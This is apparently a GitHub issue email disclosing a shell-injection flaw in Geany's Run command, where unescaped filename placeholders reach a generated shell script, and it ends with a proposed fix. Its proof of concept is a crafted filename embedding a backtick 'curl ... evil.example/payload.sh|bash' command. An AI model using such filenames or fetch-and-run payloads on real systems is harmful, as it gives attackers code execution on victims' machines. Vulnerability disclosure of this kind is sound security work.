CVE-Hunter-Leo created an issue (geany/geany#4611)

# Geany — Filename-Based Shell Injection via Run Script

| Field | Value |
|-------|-------|
| **Severity** | Critical |
| **CVSS** | 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) |
| **CWE** | CWE-78: OS Command Injection |
| **File** | `src/build.c` |
| **Lines** | 1105–1111 |
| **Affected Functions** | `build_create_shellscript()`, `prepare_run_cmd()`, 
`generate_document_replacements()` |
| **Platform** | Unix (macOS, Linux) |

## Description

`build_create_shellscript()` generates a temporary shell script to execute the 
user's run command. While the working directory is properly shell-quoted with 
`g_shell_quote()`, the command string (`cmd`) is embedded **raw** — without any 
escaping.

```c
// build.c:1105-1111
escaped_dir = g_shell_quote(working_dir);          //  properly escaped
str = g_strdup_printf(
    "#!/bin/sh\n\nrm $0\n\ncd %s\n\n%s\n\necho \"...\" ...",
    escaped_dir,                                    //  safe
    cmd);                                           //  RAW — no escaping!
```

The `cmd` value comes from `prepare_run_cmd()` (line 779), which substitutes 
document placeholders (`%e`, `%f`, `%d`, `%p`) into the build command. The 
`generate_document_replacements()` function in `src/utils.c:2562` performs 
these substitutions using `g_path_get_basename()` and `g_path_get_dirname()` — 
yielding the actual filename or directory name **without any shell escaping**.

A filename containing shell metacharacters such as backticks (`` ` ``), `$()`, 
or semicolons (`;`) will be substituted verbatim into the generated shell 
script, where the metacharacters are interpreted by `/bin/sh`.

## Attack Scenario / POC

1. Attacker creates a file with a weaponized filename:
   ```
   test`curl http://evil.example/payload.sh|bash`.c
   ```

2. Attacker sends the file to the victim (e.g. as an email attachment, in a 
shared repository, or via a download link).

3. Victim opens the file in Geany.

4. Victim presses **F5** (Run) or clicks **Execute**.

5. The `%e` placeholder is substituted with `test`curl 
http://evil.example/payload.sh|bash`` (the filename minus extension).

6. The generated shell script contains:
   ```sh
   #!/bin/sh
   rm $0
   cd /path/to/dir
   ./test`curl http://evil.example/payload.sh|bash`
   ```

7. The backtick expression executes the `curl | bash` pipeline.

## Impact

Arbitrary command execution with the victim's user privileges. This is 
triggered by simply running a file with a crafted name — a common and expected 
operation in an IDE.

## Recommended Fix

Apply `g_shell_quote()` to the placeholder-substituted command string 
**before** embedding it into the shell script:

```c
gchar *escaped_cmd = g_shell_quote(cmd);
str = g_strdup_printf(
    "#!/bin/sh\n\nrm $0\n\ncd %s\n\n%s\n\necho \"...\" ...",
    escaped_dir, escaped_cmd, ...);
g_free(escaped_cmd);
```

Alternatively, escape each substituted value individually within 
`generate_document_replacements()` (`src/utils.c:2562`), before the value is 
inserted into the command string.

A more robust architectural fix is to avoid the shell script entirely and pass 
the command directly to `execve()` via `spawn_async_with_pipes()` with a proper 
argument vector.

## References in code

- `src/build.c:1094–1138` — `build_create_shellscript()`
- `src/build.c:779–844` — `prepare_run_cmd()`
- `src/utils.c:2562–2622` — `generate_document_replacements()`


-- 
Reply to this email directly or view it on GitHub:
https://github.com/geany/geany/issues/4611
You are receiving this because you are subscribed to this thread.

Message ID: <geany/geany/issues/[email protected]>

Reply via email to